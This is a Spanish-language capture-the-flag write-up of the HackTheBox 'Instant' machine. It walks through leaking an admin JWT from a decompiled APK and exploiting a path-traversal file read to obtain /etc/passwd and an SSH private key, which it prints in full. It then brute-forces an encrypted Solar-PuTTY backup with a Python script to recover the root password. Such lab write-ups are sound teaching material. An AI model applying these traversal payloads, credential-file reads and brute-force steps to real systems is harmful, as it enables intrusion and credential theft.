Instant – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

‘Instant’ Avatar


Resumen Link to heading

“Instant” es una máquina de dificultad Media de la plataforma HackTheBox. La máquina víctima corre un servidor web que expone un archivo .apk (Android) el cual filtra un Jason Web Token con privilegios. Este token nos permite entrar a una interfaz web de Swagger UI para administrar APIs. Una API es vulnerable a Local File Inclusion, la cual nos permite leer archivos de sistema; entre ellas una key de SSH la cual nos permite ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar un archivo de PuTTY encriptado. A través de fuerza bruta, somos capaces de desencriptar este archivo y leer su contenido; lo cual filtra la contraseña para el usuario root, permitiéndonos escalar privilegios.


User / Usuario Link to heading

Empezamos con un rápido escaneo con Nmap para obtener puertos TCP abiertos en la máquina víctima:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn

El escaneo muestra sólo 2 puertos abiertos: 22 SSH y 80 HTTP. Aplicando algunos escaneos de reconocimiento con la flag -sVC sobre estos puertos obtenemos:

❯ sudo nmap -sVC -p22,80 10.10.11.37

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-20 19:44 -03
Nmap scan report for 10.10.11.37
Host is up (0.30s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.95 second

Del output del escaneo podemos ver que el sitio HTTP redirige a http://instant.htb. Por ende, agregamos este dominio a nuestro archivo /etc/hosts ejecutando en una terminal:

❯ echo '10.10.11.37 instant.htb' | sudo tee -a /etc/hosts

Una vez agregado, visitamos http://instant.htb en un navegador de internet. Podemos ver una página web como la siguiente:

Instant

Vemos que podemos descargar un archivo web con el botón Download Now! localizado en la parte superior derecha. Poniendo el mouse sobre este botón y aplicando un poco de “hovering” podemos ver que éste descarga un archivo .apk. Lo descargamos clickeando en el botón. Una vez descargado verificamos que es un archivo Android package (APK):

❯ file instant.apk

instant.apk: Android package (APK), with gradle app-metadata.properties, with APK Signing Block

Luego de buscar un poco acerca de cómo analizar este archivo, encontramos una herramienta bastante popular entre la gente que analiza apps de Android llamado JADX, el cual puede ser descargado desde su repositorio de Github.

Información
JADX are command line interface (CLI) and GUI tools for producing Java source code from Android Dex and Apk files.

Descargamos el ejecutable de JADX a través de un archivo comprimido .zip y lo descomprimimos:

❯ wget https://github.com/skylot/jadx/releases/download/v1.5.0/jadx-1.5.0.zip

❯ unzip jadx-1.5.0.zip

Luego de descomprimirlo, vamos al directorio bin y corremos el binario jadx para decompilar el archivo .apk descargado:

❯ ./jadx -d decompiled_files ../../../content/instant.apk

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 13

Obtenemos algunos errores, pero no pasa nada; podemos seguir. Básicamente lo que esta herramienta hace es decompilar el archivo instant.apk y almacena todos los archivos descomprimidos en el directorio que he decido llamar, en mi caso, decompiled_files.

Dentro de este directorio generado, tenemos otros 2 directorios los cuales contienen los archivos decompilados:

❯ ls -la decompiled_files

total 16
drwxrwxr-x  4 gunzf0x gunzf0x 4096 Oct 20 20:15 .
drwxr-xr-x  3 gunzf0x gunzf0x 4096 Oct 20 20:15 ..
drwxrwxr-x  8 gunzf0x gunzf0x 4096 Oct 20 20:15 resources
drwxrwxr-x 11 gunzf0x gunzf0x 4096 Oct 20 20:15 sources

Ambas carpetas contienen demasiados archivos. Por ello, para filtrar por resultados interesantes, usamos grep y buscamos por strings interesantes como password:

❯ grep -r "password" decompiled_files

grep: decompiled_files/resources/classes.dex: binary file matches
decompiled_files/resources/res/values-in/strings.xml:    <string name="password_toggle_content_description">Tampilkan sandi</string>
decompiled_files/resources/res/values-lv/strings.xml:    <string name="password_toggle_content_description">Rādīt paroli</string>
decompiled_files/resources/res/values-gl/strings.xml:    <string name="password_toggle_content_description">Mostra o contrasinal</string>
decompiled_files/resources/res/values/strings.xml:    <string name="forgot_password">Forgot Password</string>

<SNIP>

Pero no podemos ver ninguna contraseña ni en texto claro ni hasheada.

Si buscamos por instant.htb con grep vemos información interesante:

❯ grep -r "instant.htb" decompiled_files

grep: decompiled_files/resources/classes.dex: binary file matches
decompiled_files/resources/res/layout/activity_forgot_password.xml:            android:text="Please contact support@instant.htb to have your account recovered"
decompiled_files/resources/res/xml/network_security_config.xml:        <domain includeSubdomains="true">mywalletv1.instant.htb
decompiled_files/resources/res/xml/network_security_config.xml:        <domain includeSubdomains="true">swagger-ui.instant.htb
decompiled_files/sources/com/instantlabs/instant/RegisterActivity.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/register").post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.RegisterActivity.3
decompiled_files/sources/com/instantlabs/instant/ProfileActivity.java:            new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", accessToken).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.ProfileActivity.1
decompiled_files/sources/com/instantlabs/instant/LoginActivity.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/login").post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.LoginActivity.4
decompiled_files/sources/com/instantlabs/instant/TransactionActivity.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/initiate/transaction").addHeader("Authorization", str4).post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new AnonymousClass2(str5, str4));
decompiled_files/sources/com/instantlabs/instant/TransactionActivity.java:                        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/confirm/pin").header("Authorization", this.val$access_token).post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.TransactionActivity.2.2
decompiled_files/sources/com/instantlabs/instant/AdminActivities.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1

Encontramos dos (2) cosas interesantes aquí:

  1. Dos (2) subdominios (mywalletv1.instant.htb y swagger-ui.instant.htb).
  2. Un Jason Web Token (JWT).

Vamos a https://jwt.io/ y ponemos el contenido del JWT encontrado:

Instant 2

Este es un JWT para el usuario Admin. Del output previamente mostrado por grep, este token está siendo enviado a la url/API http://mywalletv1.instant.htb/api/v1/view/profile.

Agregamos estos dos nuevos subdominios a nuestro archivo /etc/hosts, de manera que este archivo ahora se ve como:

❯ tail -n 1 /etc/hosts

10.10.11.37 instant.htb mywalletv1.instant.htb swagger-ui.instant.htb

Una vez agregado, vemos si tenemos accesso a la API usando cURL:

❯ curl -I 'http://mywalletv1.instant.htb/api/v1/view/profile'

HTTP/1.1 401 UNAUTHORIZED
Date: Sun, 20 Oct 2024 23:33:46 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 45

Como esperábamos, no tenemos acceso ya que no estamos usando un JWT para autenticarnos.

Pasamos entonces el JWT encontrado con cURL:

❯ curl -I -b "Authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" 'http://mywalletv1.instant.htb/api/v1/view/profile'

HTTP/1.1 401 UNAUTHORIZED
Date: Sun, 20 Oct 2024 23:36:19 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: application/json
Content-Length: 45

y también viendo su contenido en formato JSON:

❯ curl -I -H 'accept: application/json' -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" 'http://mywalletv1.instant.htb/api/v1/view/profile'

HTTP/1.1 500 INTERNAL SERVER ERROR
Date: Sun, 20 Oct 2024 23:37:50 GMT
Server: Werkzeug/3.0.3 Python/3.12.3
Content-Type: text/html; charset=utf-8
Content-Length: 265
Connection: close

Pero ninguno de ellos funciona.

Luego, decidimos ver si alguno de los nuevos subdominios agregados tiene una página web HTTP. Visitando http://swagger-ui.instant.htb funciona. El sitio redirige a http://swagger-ui.instant.htb/apidocs/, donde podemos ver una página web:

Instant 3

El sitio está corriendo Swagger UI:

Información
Swagger UI is a web-based interface that provides information about a service and allows users to test API endpoints.
Básicamente, es una herramienta para administrar APIs.

Tenemos muchas APIs con las que jugar.

Si, por ejemplo, clickeamos en la primera /api/v1/admin/add/user y luego clickeamos en Try it out podemos ver las respuestas (responses):

Instant 4

Obtenemos el mensaje Unauthorized, por lo que no tenemos permisos para solicitar estas APIs.

En la parte superior de la página podemos ver un botón Authorize. Clickeamos en éste y, como valor, pasamos el JWT filtrado en el archivo .apk:

Instant 5

Clickeamos en Authorize.

Ahora los request a las APIs funcionan (ya no muestran el mensaje Unauthorized):

Instant 6

Pero obtenemos el mensaje Internal Server Error. Esto puede deberse a que el usuario con el que estamos testeando ya existe:

Instant 7

Podemos ver que hay una API llamada /api/v1/admin/read/log la cual pregunta por un archivo para leer. Para ver si esta API es vulnerable a Local File Inclusion (LFI), pasamos como argumento ../../../../../../../etc/passwd:

Instant 8

y como respuesta obtenemos:

Instant 9

Esta API es vulnerable a LFI.

Al leer el archivo /etc/passwd, podemos ver que existe un usuario llamado shirohige. Dado que el servicio SSH estaba corriendo en la máquina víctima, podemos pasar como “log file” (argumento) la ruta del archivo id_rsa para SSH (rezando que ésta exista) para este usuario. Este archivo debería de estar localizado en la ruta /home/shirohige/.ssh/id_rsa, de manera que pasamos como argumento ../../../../../../../home/shirohige/.ssh/id_rsa y como respuesta obtenemos:

Instant 10

Luego de limpiar un poco el output obtenido de la página web, obtenemos el archivo id_rsa que es una key de SSH:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Guardamos esta key en nuestra máquina de atacantes como shirohige_id_rsa.

Una vez guardada, le asignamos permisos de ejecución a aquel archivo:

❯ chmod 600 shirohige_id_rsa

Podemos usar esta key de SSH para ganar acceso a la máquina víctima:

❯ ssh -i shirohige_id_rsa shirohige@10.10.11.37

The authenticity of host '10.10.11.37 (10.10.11.37)' can't be established.
ED25519 key fingerprint is SHA256:r+JkzsLsWoJi57npPp0MXIJ0/vVzZ22zbB7j3DWmdiY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.37' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
shirohige@instant:~$ whoami

shirohige

Podemos obtener la flag de usuario en el directorio /home de este usuario.


Root Link to heading

En la ruta /opt podemos ver un directorio backups:

shirohige@instant:~$ ls -la /opt

total 12
drwxr-xr-x  3 root      root      4096 Oct  4 15:22 .
drwxr-xr-x 23 root      root      4096 Oct  4 15:26 ..
drwxr-xr-x  3 shirohige shirohige 4096 Oct  4 15:22 backups

Dentro de éste tenemos un directorio Solar-PuTTY, y dentro de este directorio tenemos un archivo con extensión .dat:

shirohige@instant:~$ ls -la /opt/backups/Solar-PuTTY/

total 12
drwxr-xr-x 2 shirohige shirohige 4096 Oct  4 15:22 .
drwxr-xr-x 3 shirohige shirohige 4096 Oct  4 15:22 ..
-rw-r--r-- 1 shirohige shirohige 1100 Sep 30 11:38 sessions-backup.dat

Leyendo este archivo muestra:

shirohige@instant:~$ cat /opt/backups/Solar-PuTTY/sessions-backup.dat

ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=

Es un archivo para PuTTY.

Información
PuTTY is a free and open-source terminal emulator, serial console and network file transfer application. It supports several network protocols as SSH among others.

En corto, es un programa que se usa para conexiones SSH (principalmente en Windows).

Para desencriptar el contenido de este archivo podemos usar la herramienta SolarPuttyDecrypt. El único “problema” yace en que ésta está sólo disponible para Windows. Descargamos esta herramienta desde su repositorio de Github y extraemos los contenidos del archivo .zip. Basados en la documentación de SolarPuttyDecrypt, para desenriptar el archivo sólo debemos ejecutar:

SolarPuttyDecrypt.exe C:\Users\test\file.dat <password>

en una terminal.

Nota
Como opción, tiempo después de haber resuelto esta máquina, encontré este script de Python que imita a SolarPuttyDecryptor si queremos desencriptar el archivo de PuTTY puramente desde una máquina Linux.

En una máquina de atacante con Windows, creamos un simple script de Python el cual va probando, a través de fuerza bruta, desencriptar el archivo de PuTTY usando el diccionario rockyou.txt junto con el binario de SolarPuttyDecrypt:

import subprocess

# Files to execute (all located in the same directory, otherwise specify paths)
exe_path = "SolarPuttyDecrypt.exe"
data_file = "sessions-backup.dat"
passwords_file = "rockyou.txt"

# Open the list of passwords in rockyou.txt dictionary
with open(passwords_file, "r") as file:
    for password in file:
        password = password.strip()  # Remove any extra newlines or spaces
        # Execute the command to decrypt the file
        print(f"[+] Attempting with password: {password}", end="\r")
        result = subprocess.run([exe_path, data_file, password], capture_output=True)
        
        # Check the exit status code. If it is 0, break the loop
        if result.returncode == 0:
            print()
            print(f"[+] Password found: {password}")
            break
    else:
        print("[-] Password not found")

Ejecutando este script, y luego de un rato, obtenemos:

C:\Users\gunzf0x\Desktop\Pentesting\SolarPuttyDecrypt> python .\PuTTY_decryptor.py

[+] Attempting with password: estrella
[+] Password found: estrella

Tenemos una contraseña para este archivo: estrella.

Subsecuentemente, simplemente ejecutamos SolarPuttyDecrypt.exe en nuestra máquina de atacante Windows de nuevo, usando esta vez la contraseña encontrada por el script:

C:\Users\gunzf0x\Desktop\Pentesting\SolarPuttyDecrypt>.\SolarPuttyDecrypt.exe sessions-backup.dat estrella

-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------

{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12",
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

Obtenemos credenciales para el usuario root en el archivo: root:12**24nzC!r0c%q12.

De vuelta a la máquina víctima con nuestra sesión por medio de SSH, revisamos si esta contraseña funciona para el usuario root:

shirohige@instant:~$ su root

Password: 12**24nzC!r0c%q12
root@instant:/home/shirohige# whoami

root

Funcionó. GG. Podemos leer la flag de root en el directorio /root.

~Happy Hacking